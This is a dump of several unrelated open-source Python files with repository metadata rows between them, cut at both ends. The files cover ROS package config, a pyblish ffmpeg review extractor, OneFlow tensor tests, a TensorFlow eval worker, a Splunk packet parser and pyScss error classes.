self.copyFile ( srcPath, dstPath )
return dstPath
def getFile ( self, srcPath ):
return self.fileMapping.get ( srcPath, None )
def getAbsFile ( self, srcPath ):
return self.getPath ( self.getFile ( srcPath ) )
def replaceInFile ( self, srcFile, strFrom, strTo ):
try:
fp = open ( srcFile, 'r' )
data = fp.read ()
fp.close ()
data = data.replace ( strFrom, strTo )
fp = open ( srcFile, 'w' )
fp.write ( data )
fp.close ()
except Exception as e:
logging.exception ( e )
def flushTask ( self ):
q = self.taskQueue
self.taskQueue = []
for t in q:
func, args = t
func ( *args )
def checkFileIgnorable (self, name):
for pattern in DeployContext._ignoreFilePattern:
if re.match (pattern, name):
return True
return False
| [
"[email protected]"
] | |
a915f7f5aac8290e569c4536650cbcb728edb52d | 5d1c178763908decbcd2d63481e3b240e4ab3763 | /build/iiwa_moveit/catkin_generated/pkg.installspace.context.pc.py | 9c57060b9bae0749f8b4fbdf4862ee4a39946335 | [] | no_license | ichbindunst/ros3djs_tutorial | 0f27127e00574411babc8127db5f57c542045db8 | f840e93445ffbc7228956ce5db1fbe706224dc59 | refs/heads/master | 2023-03-31T19:51:29.409983 | 2021-04-01T17:54:43 | 2021-04-01T17:54:43 | 353,783,567 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 379 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "iiwa_moveit"
PROJECT_SPACE_DIR = "/home/yao/ros3djs_tutorial/install"
PROJECT_VERSION = "1.4.0"
| [
"[email protected]"
] | |
65ad7779c0771342e26563f4829f19544fe0d22a | b27dba9265e3fc46453293af33e215784cc60d15 | /pype/plugins/standalonepublisher/publish/extract_review.py | fbc14785a4091115ef61a811360275e740e545fd | [
"MIT"
] | permissive | tws0002/pype | f8f655f51282128b7ac42df77fca58957f416dcd | 80b1aad9990f6c7efabf0430a3da6633054bf4a8 | refs/heads/develop | 2020-04-29T21:51:22.583645 | 2019-12-09T04:23:17 | 2019-12-09T04:23:17 | 176,426,875 | 0 | 0 | MIT | 2019-12-09T04:23:18 | 2019-03-19T04:56:38 | Python | UTF-8 | Python | false | false | 7,630 | py | import os
import tempfile
import pyblish.api
from pype.vendor import clique
import pype.api
class ExtractReviewSP(pyblish.api.InstancePlugin):
"""Extracting Review mov file for Ftrack
Compulsory attribute of representation is tags list with "review",
otherwise the representation is ignored.
All new represetnations are created and encoded by ffmpeg following
presets found in `pype-config/presets/plugins/global/publish.json:ExtractReview:outputs`. To change the file extension
filter values use preset's attributes `ext_filter`
"""
label = "Extract Review SP"
order = pyblish.api.ExtractorOrder + 0.02
families = ["review"]
hosts = ["standalonepublisher"]
def process(self, instance):
# adding plugin attributes from presets
presets = instance.context.data["presets"]
try:
publish_presets = presets["plugins"]["standalonepublisher"]["publish"]
plugin_attrs = publish_presets[self.__class__.__name__]
except KeyError:
raise KeyError("Preset for plugin \"{}\" are not set".format(
self.__class__.__name__
))
output_profiles = plugin_attrs.get("outputs", {})
fps = instance.data.get("fps")
start_frame = instance.data.get("frameStart")
self.log.debug("Families In: `{}`".format(instance.data["families"]))
# get specific profile if was defined
specific_profiles = instance.data.get("repreProfiles")
new_repres = []
# filter out mov and img sequences
for repre in instance.data["representations"]:
tags = repre.get("tags", [])
if "review" not in tags:
continue
staging_dir = repre["stagingDir"]
for name in specific_profiles:
profile = output_profiles.get(name)
if not profile:
self.log.warning(
"Profile \"{}\" was not found in presets".format(name)
)
continue
self.log.debug("Processing profile: {}".format(name))
ext = profile.get("ext", None)
if not ext:
ext = "mov"
self.log.debug((
"`ext` attribute not in output profile \"{}\"."
" Setting to default ext: `mov`"
).format(name))
if isinstance(repre["files"], list):
collections, remainder = clique.assemble(repre["files"])
full_input_path = os.path.join(
staging_dir,
collections[0].format("{head}{padding}{tail}")
)
filename = collections[0].format('{head}')
if filename.endswith("."):
filename = filename[:-1]
else:
full_input_path = os.path.join(staging_dir, repre["files"])
filename = repre["files"].split(".")[0]
# prepare output file
repr_file = filename + "_{0}.{1}".format(name, ext)
out_stagigng_dir = tempfile.mkdtemp(prefix="extract_review_")
full_output_path = os.path.join(out_stagigng_dir, repr_file)
self.log.info("input {}".format(full_input_path))
self.log.info("output {}".format(full_output_path))
repre_new = repre.copy()
new_tags = [x for x in tags if x != "delete"]
p_tags = profile.get("tags", [])
self.log.info("p_tags: `{}`".format(p_tags))
for _tag in p_tags:
if _tag not in new_tags:
new_tags.append(_tag)
self.log.info("new_tags: `{}`".format(new_tags))
input_args = []
# overrides output file
input_args.append("-y")
# preset's input data
input_args.extend(profile.get("input", []))
# necessary input data
# adds start arg only if image sequence
if isinstance(repre["files"], list):
input_args.extend([
"-start_number {}".format(start_frame),
"-framerate {}".format(fps)
])
input_args.append("-i {}".format(full_input_path))
output_args = []
# preset's output data
output_args.extend(profile.get("output", []))
if isinstance(repre["files"], list):
# set length of video by len of inserted files
video_len = len(repre["files"])
else:
video_len = repre["frameEnd"] - repre["frameStart"] + 1
output_args.append(
"-frames {}".format(video_len)
)
# letter_box
lb_string = (
"-filter:v "
"drawbox=0:0:iw:round((ih-(iw*(1/{0})))/2):t=fill:c=black,"
"drawbox=0:ih-round((ih-(iw*(1/{0})))/2):iw:"
"round((ih-(iw*(1/{0})))/2):t=fill:c=black"
)
letter_box = profile.get("letter_box", None)
if letter_box:
output_args.append(lb_string.format(letter_box))
# output filename
output_args.append(full_output_path)
ffmpeg_path = os.getenv("FFMPEG_PATH", "")
if ffmpeg_path:
ffmpeg_path += "/ffmpeg"
else:
ffmpeg_path = "ffmpeg"
mov_args = [
ffmpeg_path,
" ".join(input_args),
" ".join(output_args)
]
subprcs_cmd = " ".join(mov_args)
# run subprocess
self.log.debug("Executing: {}".format(subprcs_cmd))
output = pype.api.subprocess(subprcs_cmd)
self.log.debug("Output: {}".format(output))
# create representation data
repre_new.update({
"name": name,
"ext": ext,
"files": repr_file,
"stagingDir": out_stagigng_dir,
"tags": new_tags,
"outputName": name,
"startFrameReview": 1,
"endFrameReview": video_len
})
# cleanup thumbnail from new repre
if repre_new.get("thumbnail"):
repre_new.pop("thumbnail")
if "thumbnail" in repre_new["tags"]:
repre_new["tags"].remove("thumbnail")
# adding representation
self.log.debug("Adding: {}".format(repre_new))
# cleanup repre from preview
if "preview" in repre:
repre.pop("preview")
if "preview" in repre["tags"]:
repre["tags"].remove("preview")
new_repres.append(repre_new)
for repre in instance.data["representations"]:
if "delete" in repre.get("tags", []):
instance.data["representations"].remove(repre)
for repre in new_repres:
self.log.debug("Adding repre: \"{}\"".format(
repre
))
instance.data["representations"].append(repre)
| [
"[email protected]"
] | |
819ff6ab0594922528da4d79e8be19d32e18fad2 | 73a0f661f1423d63e86489d4b2673f0103698aab | /python/oneflow/test/modules/test_contiguous.py | 4d589b551f159a895bb5b71bb58e4fb4ae3bb792 | [
"Apache-2.0"
] | permissive | Oneflow-Inc/oneflow | 4fc3e081e45db0242a465c4330d8bcc8b21ee924 | 0aab78ea24d4b1c784c30c57d33ec69fe5605e4a | refs/heads/master | 2023-08-25T16:58:30.576596 | 2023-08-22T14:15:46 | 2023-08-22T14:15:46 | 81,634,683 | 5,495 | 786 | Apache-2.0 | 2023-09-14T09:44:31 | 2017-02-11T06:09:53 | C++ | UTF-8 | Python | false | false | 4,922 | py | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import unittest
from collections import OrderedDict
from random import shuffle
import numpy as np
from oneflow.test_utils.automated_test_util import *
from oneflow.test_utils.test_util import GenArgList
import oneflow.unittest
import oneflow as flow
@flow.unittest.skip_unless_1n1d()
class TestContiguous(flow.unittest.TestCase):
@autotest(n=5)
def test_transpose_with_random_data(test_case):
device = random_device()
x = random_tensor(ndim=4).to(device)
y = torch.transpose(x, dim0=random(1, 3).to(int), dim1=random(1, 3).to(int))
z = y.contiguous()
return z
@autotest(n=5, auto_backward=False)
def test_transpose_with_bool_data(test_case):
device = random_device()
x = random_tensor(ndim=4, requires_grad=False).to(device).to(torch.bool)
y = torch.transpose(x, dim0=random(1, 3).to(int), dim1=random(1, 3).to(int))
z = y.contiguous()
return z
@autotest(n=5, auto_backward=False)
def test_transpose_with_int_data(test_case):
device = random_device()
x = random_tensor(ndim=4, requires_grad=False).to(device).to(torch.int)
y = torch.transpose(x, dim0=random(1, 3).to(int), dim1=random(1, 3).to(int))
z = y.contiguous()
return z
@autotest(n=5, auto_backward=False)
def test_contiguous_with_half_data(test_case):
device = random_device()
x = random_tensor(ndim=4, requires_grad=False).to(device).to(torch.float16)
y = torch.transpose(x, dim0=random(1, 3).to(int), dim1=random(1, 3).to(int))
z = y.contiguous()
return z
@autotest(n=10, check_graph=True)
def test_permute2d_tensor_with_random_data(test_case):
device = random_device()
ndim = 2
permute_list = [0, 1]
shuffle(permute_list)
x = random_tensor(
ndim=ndim, dim0=random(1, 32).to(int), dim1=random(1, 59).to(int),
).to(device)
y = x.permute(permute_list)
z = y.contiguous()
return z
@autotest(n=10, check_graph=True)
def test_permute3d_tensor_with_random_data(test_case):
device = random_device()
ndim = 3
permute_list = [0, 1, 2]
shuffle(permute_list)
x = random_tensor(
ndim=ndim,
dim0=random(1, 7).to(int),
dim1=random(1, 15).to(int),
dim2=random(1, 9).to(int),
).to(device)
y = x.permute(permute_list)
z = y.contiguous()
return z
@autotest(n=10, check_graph=True)
def test_permute4d_tensor_with_random_data(test_case):
device = random_device()
ndim = 4
permute_list = [0, 1, 2, 3]
shuffle(permute_list)
x = random_tensor(
ndim=ndim,
dim0=random(1, 7).to(int),
dim1=random(1, 15).to(int),
dim2=random(1, 9).to(int),
dim3=random(1, 19).to(int),
).to(device)
y = x.permute(permute_list)
z = y.contiguous()
return z
@profile(torch.Tensor.contiguous)
def profile_contiguous(test_case):
x = torch.ones(32, 3, 128, 128)
x.contiguous()
def _test_inplace_contiguous(test_case, device):
arr = np.random.randn(4, 5, 6, 7).astype(np.float32)
input = flow.tensor(arr, device=device)
x = input.permute(0, 3, 2, 1) # x is non-contiguous tensor
test_case.assertTrue(x.is_contiguous() == False)
# y1 is normal version of tensor contiguous
y1 = x.contiguous()
# y2 is inplace version of tensor contiguous
y2 = x.contiguous_()
test_case.assertTrue(np.array_equal(y1.cpu().numpy(), y2.cpu().numpy()))
test_case.assertTrue(id(x) != id(y1))
test_case.assertTrue(id(x) == id(y2))
test_case.assertTrue(x.is_contiguous() == True)
test_case.assertTrue(y1.is_contiguous() == True)
test_case.assertTrue(y2.is_contiguous() == True)
@flow.unittest.skip_unless_1n1d()
class TestInplaceContiguous(flow.unittest.TestCase):
def test_inplace_contiguous(test_case):
arg_dict = OrderedDict()
arg_dict["test_fun"] = [
_test_inplace_contiguous,
]
arg_dict["device"] = ["cpu", "cuda"]
for arg in GenArgList(arg_dict):
arg[0](test_case, *arg[1:])
if __name__ == "__main__":
unittest.main()
| [
"[email protected]"
] | |
6773d987b4e6d1240b1d25b96c6c347757f0c940 | 5af277b5819d74e61374d1d78c303ac93c831cf5 | /axial/worker_util.py | 41709759a5ceb21a7f25e4f616ed343461d35111 | [
"Apache-2.0"
] | permissive | Ayoob7/google-research | a2d215afb31513bd59bc989e09f54667fe45704e | 727ec399ad17b4dd1f71ce69a26fc3b0371d9fa7 | refs/heads/master | 2022-11-11T03:10:53.216693 | 2020-06-26T17:13:45 | 2020-06-26T17:13:45 | 275,205,856 | 2 | 0 | Apache-2.0 | 2020-06-26T16:58:19 | 2020-06-26T16:58:18 | null | UTF-8 | Python | false | false | 8,610 | py | # coding=utf-8
# Copyright 2020 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Training and eval worker utilities."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import os
import time
from . import logging_utils
from absl import logging
import numpy as np
import tensorflow.compat.v1 as tf
class BaseModel(object):
def train_fn(self, x_bhwc):
raise NotImplementedError
def eval_fn(self, x_bhwc):
raise NotImplementedError
def samples_fn(self, x_bhwc):
raise NotImplementedError
@property
def trainable_variables(self):
raise NotImplementedError
@property
def ema(self):
raise NotImplementedError
def _make_ema_model(orig_model, model_constructor):
# Model with EMA parameters
if orig_model.ema is None:
return None
def _to_original_variable_name(name):
# map to the original variable name
parts = name.split('/')
assert parts[0] == 'ema_scope'
return '/'.join(parts[1:])
def _ema_getter(getter, name, *args, **kwargs):
v = getter(_to_original_variable_name(name), *args, **kwargs)
v = orig_model.ema.average(v)
if v is None:
raise RuntimeError('invalid EMA variable name {} -> {}'.format(
name, _to_original_variable_name(name)))
return v
with tf.variable_scope(
tf.get_variable_scope(), custom_getter=_ema_getter, reuse=True):
with tf.name_scope('ema_scope'):
return model_constructor()
def run_eval(
model_constructor,
logdir,
total_bs,
master,
input_fn,
dataset_size):
worker = EvalWorker(
master=master,
model_constructor=model_constructor,
total_bs=total_bs,
input_fn=input_fn)
worker.run(logdir=logdir, once=True)
class EvalWorker(object):
def __init__(self, master, model_constructor, total_bs, input_fn):
self.strategy = tf.distribute.MirroredStrategy()
self.num_cores = self.strategy.num_replicas_in_sync
assert total_bs % self.num_cores == 0
self.total_bs = total_bs
self.local_bs = total_bs // self.num_cores
logging.info('num cores: {}'.format(self.num_cores))
logging.info('total batch size: {}'.format(self.total_bs))
logging.info('local batch size: {}'.format(self.local_bs))
with self.strategy.scope():
# Dataset iterator
dataset = input_fn(params={'batch_size': self.total_bs})
self.eval_iterator = self.strategy.experimental_distribute_dataset(
dataset).make_initializable_iterator()
eval_iterator_next = next(self.eval_iterator)
# Model
self.model = model_constructor()
# Model with EMA parameters
self.ema_model = _make_ema_model(self.model, model_constructor)
# Global step
self.global_step = tf.train.get_global_step()
assert self.global_step is not None, 'global step not created'
# Eval/samples graphs
self.eval_outputs = self._distributed(
self.model.eval_fn, args=(eval_iterator_next,), reduction='mean')
self.samples_outputs = self._distributed(
self.model.samples_fn, args=(eval_iterator_next,), reduction='concat')
# EMA versions of the above
if self.ema_model is not None:
self.ema_eval_outputs = self._distributed(
self.ema_model.eval_fn,
args=(eval_iterator_next,),
reduction='mean')
self.ema_samples_outputs = self._distributed(
self.ema_model.samples_fn,
args=(eval_iterator_next,),
reduction='concat')
def _distributed(self, model_fn, args, reduction):
"""Sharded computation."""
def model_wrapper(inputs_):
return model_fn(inputs_['image'])
out = self.strategy.run(model_wrapper, args=args)
assert isinstance(out, dict)
if reduction == 'mean':
out = {
k: tf.reduce_mean(self.strategy.reduce('mean', v))
for k, v in out.items()
}
assert all(v.shape == [] for v in out.values()) # pylint: disable=g-explicit-bool-comparison
elif reduction == 'concat':
out = {
k: tf.concat(self.strategy.experimental_local_results(v), axis=0)
for k, v in out.items()
}
assert all(v.shape[0] == self.total_bs for v in out.values())
else:
raise NotImplementedError(reduction)
return out
def _make_session(self):
config = tf.ConfigProto()
config.allow_soft_placement = True
logging.info('making session...')
return tf.Session(config=config)
def _run_eval(self, sess, ema):
logging.info('eval pass...')
sess.run(self.eval_iterator.initializer)
all_loss_lists = collections.defaultdict(list)
run_times = []
try:
while True:
# Log progress
if run_times and len(run_times) % 100 == 0:
num_batches_seen = len(list(all_loss_lists.values())[0])
logging.info(
'eval examples_so_far={} time_per_batch={:.5f} {}'.format(
num_batches_seen * self.total_bs,
np.mean(run_times[1:]),
{k: np.mean(l) for k, l in all_loss_lists.items()}))
tstart = time.time()
results = sess.run(self.ema_eval_outputs if ema else self.eval_outputs)
run_times.append(time.time() - tstart)
for k, v in results.items():
all_loss_lists[k].append(v)
except tf.errors.OutOfRangeError:
pass
num_batches_seen = len(list(all_loss_lists.values())[0])
logging.info('eval pass done ({} batches, {} examples)'.format(
num_batches_seen, num_batches_seen * self.total_bs))
results = {k: np.mean(l) for k, l in all_loss_lists.items()}
logging.info('final eval results: {}'.format(results))
return results
def _run_sampling(self, sess, ema):
sess.run(self.eval_iterator.initializer)
logging.info('sampling...')
samples = sess.run(
self.ema_samples_outputs if ema else self.samples_outputs)
logging.info('sampling done')
return samples
def _write_eval_and_samples(self, sess, log, curr_step, prefix, ema):
# Samples
samples_dict = self._run_sampling(sess, ema=ema)
for k, v in samples_dict.items():
assert len(v.shape) == 4 and v.shape[0] == self.total_bs
log.summary_writer.images(
'{}/{}'.format(prefix, k),
np.clip(v, 0, 255).astype('uint8'),
step=curr_step)
log.summary_writer.flush()
# Eval
eval_losses = self._run_eval(sess, ema=ema)
for k, v in eval_losses.items():
log.write(prefix, [{k: v}], step=curr_step)
def run(self, logdir, once, skip_non_ema_pass=True):
"""Runs the eval/sampling worker loop.
Args:
logdir: directory to read checkpoints from
once: if True, writes results to a temporary directory (not to logdir),
and exits after evaluating one checkpoint.
"""
if once:
eval_logdir = os.path.join(logdir, 'eval_once_{}'.format(time.time()))
else:
eval_logdir = logdir
logging.info('Writing eval data to: {}'.format(eval_logdir))
eval_log = logging_utils.Log(eval_logdir, write_graph=False)
with self._make_session() as sess:
# Checkpoint loading
logging.info('making saver')
saver = tf.train.Saver()
for ckpt in tf.train.checkpoints_iterator(logdir):
logging.info('restoring params...')
saver.restore(sess, ckpt)
global_step_val = sess.run(self.global_step)
logging.info('restored global step: {}'.format(global_step_val))
if not skip_non_ema_pass:
logging.info('non-ema pass')
self._write_eval_and_samples(
sess,
log=eval_log,
curr_step=global_step_val,
prefix='eval',
ema=False)
if self.ema_model is not None:
logging.info('ema pass')
self._write_eval_and_samples(
sess,
log=eval_log,
curr_step=global_step_val,
prefix='eval_ema',
ema=True)
if once:
break
| [
"[email protected]"
] | |
acf80746855eaad75fcbdc580daa49d5bee0bf95 | 20176bf4fbd8aec139c7b5a27f2c2e155e173e6e | /data/all-pratic/oinam_singh/myprogram/filewordcnt2.py | 993801d7b654e4f8041739bbfb5d975e82b48048 | [] | no_license | githubjyotiranjan/pytraining | 4ac4a1f83cc4270e2939d9d32c705019c5bc61c5 | 8b50c4ab7848bd4cbfdfbc06489768d577289c66 | refs/heads/master | 2020-03-19T06:22:20.793296 | 2018-06-15T20:08:11 | 2018-06-15T20:08:11 | 136,013,642 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 644 | py | import operator
from collections import OrderedDict
from collections import defaultdict
mydict = defaultdict(int)
with open('tmpread.txt') as file:
for line in file:
line = line.strip()
for w in line.split():
mydict[w] += 1
#sorted_x = sorted(dics.items(), key=operator.itemgetter(1))
print(mydict.items());
print(mydict.keys());
d_sorted_by_value = OrderedDict(sorted(mydict.items(), key=lambda x: x[1]))
print(d_sorted_by_value.items());
print(d_sorted_by_value.keys());
d_sorted_by_key = OrderedDict(sorted(mydict.items(), key=lambda x: x[0]))
print(d_sorted_by_key.items());
print(d_sorted_by_key.keys());
| [
"[email protected]"
] | |
74f3ef6c3e844f6f8fa1234a783e57b16eddff82 | 8b57c6609e4bf3e6f5e730b7a4a996ad6b7023f0 | /persistconn/packet.py | 79a3d92edb26b212d7c04844f89ece59d3e93669 | [] | no_license | bullll/splunk | 862d9595ad28adf0e12afa92a18e2c96308b19fe | 7cf8a158bc8e1cecef374dad9165d44ccb00c6e0 | refs/heads/master | 2022-04-20T11:48:50.573979 | 2020-04-23T18:12:58 | 2020-04-23T18:12:58 | 258,293,313 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,103 | py | from builtins import range
from builtins import object
import sys, os
import json
import splunk.util
class PersistentServerConnectionProtocolException(Exception):
"""
Exception thrown when a recieved packet can't be interpreted
"""
pass
class PersistentServerConnectionRequestPacket(object):
"""
Object representing a recieved packet
"""
def __init__(self):
self.opcode = None
self.command = None
self.command_arg = None
self.block = None
def is_first(self):
"""
@rtype: bool
@return: True if this packet represents the beginning of the request
"""
return (self.opcode & PersistentServerConnectionRequestPacket.OPCODE_REQUEST_INIT) != 0
def is_last(self):
"""
@rtype: bool
@return: True if this packet represents the end of the request
"""
return (self.opcode & PersistentServerConnectionRequestPacket.OPCODE_REQUEST_END) != 0
def has_block(self):
"""
@rtype: bool
@return: True if this packet contains an input block for the request
"""
return (self.opcode & PersistentServerConnectionRequestPacket.OPCODE_REQUEST_BLOCK) != 0
def allow_stream(self):
"""
For future use.
"""
return (self.opcode & PersistentServerConnectionRequestPacket.OPCODE_REQUEST_ALLOW_STREAM) != 0
def __str__(self):
s = "is_first=%c is_last=%c allow_stream=%c" % (
"NY"[self.is_first()],
"NY"[self.is_last()],
"NY"[self.allow_stream()])
if self.command is not None:
s += " command=%s" % json.dumps(self.command)
if self.command_arg is not None:
s += " command_arg=%s" % json.dumps(self.command_arg)
if self.has_block():
s += " block_len=%u block=%s" % (
len(self.block),
json.dumps(str(self.block)))
return s
OPCODE_REQUEST_INIT = 0x01
OPCODE_REQUEST_BLOCK = 0x02
OPCODE_REQUEST_END = 0x04
OPCODE_REQUEST_ALLOW_STREAM = 0x08
def read(self, handle):
"""
Read a length-prefixed protocol data from a file handle, filling this object
@param handle: File handle to read from
@rtype: bool
@return: False if we're at EOF
"""
while True:
opbyte = handle.read(1)
if opbyte == b"":
return False
if opbyte != b"\n":
break # ignore extra newlines before opcode
self.opcode = ord(opbyte)
if self.is_first():
command_pieces = PersistentServerConnectionRequestPacket._read_number(handle)
self.command = []
for i in range(0, command_pieces):
piece = PersistentServerConnectionRequestPacket._read_string(handle)
if sys.version_info >= (3, 0):
piece = piece.decode()
self.command.append(piece)
self.command_arg = PersistentServerConnectionRequestPacket._read_string(handle)
if self.command_arg == b"":
self.command_arg = None
elif sys.version_info >= (3, 0):
self.command_arg = self.command_arg.decode()
if self.has_block():
self.block = PersistentServerConnectionRequestPacket._read_string(handle)
return True
@staticmethod
def _read_to_eol(handle):
v = b""
while True:
e = handle.read(1)
if not e:
if v == b"":
raise EOFError
break
if e == b'\n':
break
v += e
return v
@staticmethod
def _read_number(handle):
while True:
v = PersistentServerConnectionRequestPacket._read_to_eol(handle)
if v != b"": # ignore empty lines before a count
break
try:
n = int(v)
except ValueError:
raise PersistentServerConnectionProtocolException("expected non-negative integer, got \"%s\"" % v)
if n < 0:
raise PersistentServerConnectionProtocolException("expected non-negative integer, got \"%d\"" % n)
return n
@staticmethod
def _read_string(handle):
return handle.read(PersistentServerConnectionRequestPacket._read_number(handle))
class PersistentServerConnectionPacketParser(object):
"""
Virtual class which handles packet-level I/O with stdin/stdout. The
handle_packet method must be overridden.
"""
def __init__(self):
self._owed_flush = False
def write(self, data):
"""
Write out a string, preceded by its length. If a dict is passed
in, it is automatically JSON encoded
@param data: String or dictionary to send.
"""
if sys.version_info >= (3, 0):
if isinstance(data, bytes):
sys.stdout.buffer.write(("%u\n" % len(data)).encode("ascii"))
sys.stdout.buffer.write(data)
elif isinstance(data, str):
edata = data.encode("utf-8")
sys.stdout.buffer.write(("%u\n" % len(edata)).encode("ascii"))
sys.stdout.buffer.write(edata)
elif isinstance(data, dict):
edata = json.dumps(data, separators=(',', ':')).encode("utf-8")
sys.stdout.buffer.write(("%u\n" % len(edata)).encode("ascii"))
sys.stdout.buffer.write(edata)
else:
raise TypeError("Don't know how to serialize %s" % type(data).__name__)
else:
if isinstance(data, splunk.util.string_type):
sys.stdout.write("%u\n%s" % (len(data), data))
elif isinstance(data, dict):
s = json.dumps(data, separators=(',', ':'))
sys.stdout.write("%u\n%s" % (len(s), s))
else:
raise TypeError("Don't know how to serialize %s" % type(data).__name__)
self._owed_flush = True
def run(self):
"""
Continuously read packets from stdin, passing each one to handle_packet()
"""
if os.name.startswith("nt"):
import msvcrt
msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY)
msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
while True:
in_packet = PersistentServerConnectionRequestPacket()
handle = sys.stdin
if sys.version_info >= (3, 0):
handle = sys.stdin.buffer
if not in_packet.read(handle):
break
self.handle_packet(in_packet)
if self._owed_flush:
sys.stdout.flush()
self._owed_flush = False
def handle_packet(self, in_packet):
"""
Virtual method called for each recieved packet
@param in_packet: PersistentServerConnectionRequestPacket object recieved
"""
raise NotImplementedError("PersistentServerConnectionPacketParser.handle_packet")
| [
"[email protected]"
] | |
f729f18c246e778316b422232434075c31dd032f | d5f03681070efcf7be19f7b63c135479950948f3 | /scss/errors.py | 65f5350c394ea93656b0b27bfb8316ffb4b2fff6 | [
"MIT"
] | permissive | doug-fish/pyScss | 6f642634234960dbe03a6cca1db97135082c567b | f63a6964df84c193478a7cce14013a5f53f6aee7 | refs/heads/master | 2020-12-11T05:38:41.234931 | 2014-09-10T05:02:35 | 2014-09-10T05:02:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,537 | py | from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
import six
import sys
import traceback
BROWSER_ERROR_TEMPLATE = """\
body:before {{
content: {0};
display: block;
position: fixed;
top: 0;
left: 0;
right: 0;
font-size: 14px;
margin: 1em;
padding: 1em;
border: 3px double red;
white-space: pre;
font-family: monospace;
background: #fcebeb;
color: black;
}}
"""
def add_error_marker(text, position, start_line=1):
"""Add a caret marking a given position in a string of input.
Returns (new_text, caret_line).
"""
indent = " "
lines = []
caret_line = start_line
for line in text.split("\n"):
lines.append(indent + line)
if 0 <= position <= len(line):
lines.append(indent + (" " * position) + "^")
caret_line = start_line
position -= len(line)
position -= 1 # for the newline
start_line += 1
return "\n".join(lines), caret_line
class SassBaseError(Exception):
"""Base class for all errors caused by Sass code.
Shouldn't be raising this directly; use or create a subclass instead.
"""
def __init__(self, rule=None):
super(SassBaseError, self).__init__()
self.rule_stack = []
if rule is not None:
self.add_rule(rule)
def add_rule(self, rule):
"""Add a new rule to the "stack" of rules -- this is used to track,
e.g., how a file was ultimately imported.
"""
self.rule_stack.append(rule)
def format_file_and_line(self, rule):
return "line {rule.lineno} of {rule.source_file.path}".format(
rule=rule,
)
def format_sass_stack(self):
"""Return a "traceback" of Sass imports."""
if not self.rule_stack:
return ""
ret = ["on ", self.format_file_and_line(self.rule_stack[0]), "\n"]
last_file = self.rule_stack[0].source_file
# TODO this could go away if rules knew their import chains...
# TODO mixins and the like here too?
# TODO the line number is wrong here, since this doesn't include the
# *block* being parsed!
for rule in self.rule_stack[1:]:
if rule.source_file is not last_file:
ret.extend((
"imported from ", self.format_file_and_line(rule), "\n"))
last_file = rule.source_file
return "".join(ret)
def format_message(self):
return ""
def __str__(self):
return "{message}\n{sass_stack}".format(
message=self.format_message(),
sass_stack=self.format_sass_stack(),
)
class SassSyntaxError(SassBaseError):
"""Generic syntax error thrown by the guts of the expression parser;
usually caught and wrapped later on.
"""
def __init__(self, input_string, position, desired_tokens):
super(SassSyntaxError, self).__init__()
self.input_string = input_string
self.position = position
self.desired_tokens = desired_tokens
def __str__(self):
# TODO this doesn't show the rule stack; should inherit from SassError
# instead?
if self.position == 0:
after = "Syntax error"
else:
after = "Syntax error after {0!r}".format(
self.input_string[max(0, self.position - 20):self.position])
found = "Found {0!r}".format(
self.input_string[self.position:self.position + 10])
if not self.desired_tokens:
expected = "but can't figure out what that means"
elif len(self.desired_tokens) == 1:
expected = "but expected {0}".format(
''.join(self.desired_tokens))
else:
expected = "but expected one of {0}".format(
', '.join(sorted(self.desired_tokens)))
return "{after}: {found} {expected}".format(
after=after,
found=found,
expected=expected,
)
class SassImportError(SassBaseError):
"""Error raised when unable to resolve an @import."""
def __init__(self, bad_name, compiler, **kwargs):
super(SassImportError, self).__init__(**kwargs)
self.bad_name = bad_name
self.compiler = compiler
def format_message(self):
return (
"Couldn't find anything to import: {0}\n"
"Search path:\n {1}"
.format(
self.bad_name,
"\n ".join(self.compiler.search_path),
)
)
class SassError(SassBaseError):
"""Error class that wraps another exception and attempts to bolt on some
useful context.
"""
def __init__(self, exc, expression=None, expression_pos=None, **kwargs):
super(SassError, self).__init__(**kwargs)
self.exc = exc
self.expression = expression
self.expression_pos = expression_pos
_, _, self.original_traceback = sys.exc_info()
def format_prefix(self):
"""Return the general name of the error and the contents of the rule or
property that caused the failure. This is the initial part of the
error message and should be error-specific.
"""
# TODO this contains NULs and line numbers; could be much prettier
if self.rule_stack:
return (
"Error parsing block:\n" +
" " + self.rule_stack[0].unparsed_contents + "\n"
)
else:
return "Unknown error\n"
def format_python_stack(self):
"""Return a traceback of Python frames, from where the error occurred
to where it was first caught and wrapped.
"""
ret = ["Traceback:\n"]
ret.extend(traceback.format_tb(self.original_traceback))
return "".join(ret)
def format_original_error(self):
"""Return the typical "TypeError: blah blah" for the original wrapped
error.
"""
# TODO eventually we'll have sass-specific errors that will want nicer
# "names" in browser display and stderr
return "".join((
type(self.exc).__name__, ": ", six.text_type(self.exc), "\n",
))
def __str__(self):
try:
prefix = self.format_prefix()
sass_stack = self.format_sass_stack()
python_stack = self.format_python_stack()
original_error = self.format_original_error()
# TODO not very well-specified whether these parts should already
# end in newlines, or how many
return prefix + "\n" + sass_stack + python_stack + original_error
except Exception:
# "unprintable error" is not helpful
return six.text_type(self.exc)
def to_css(self):
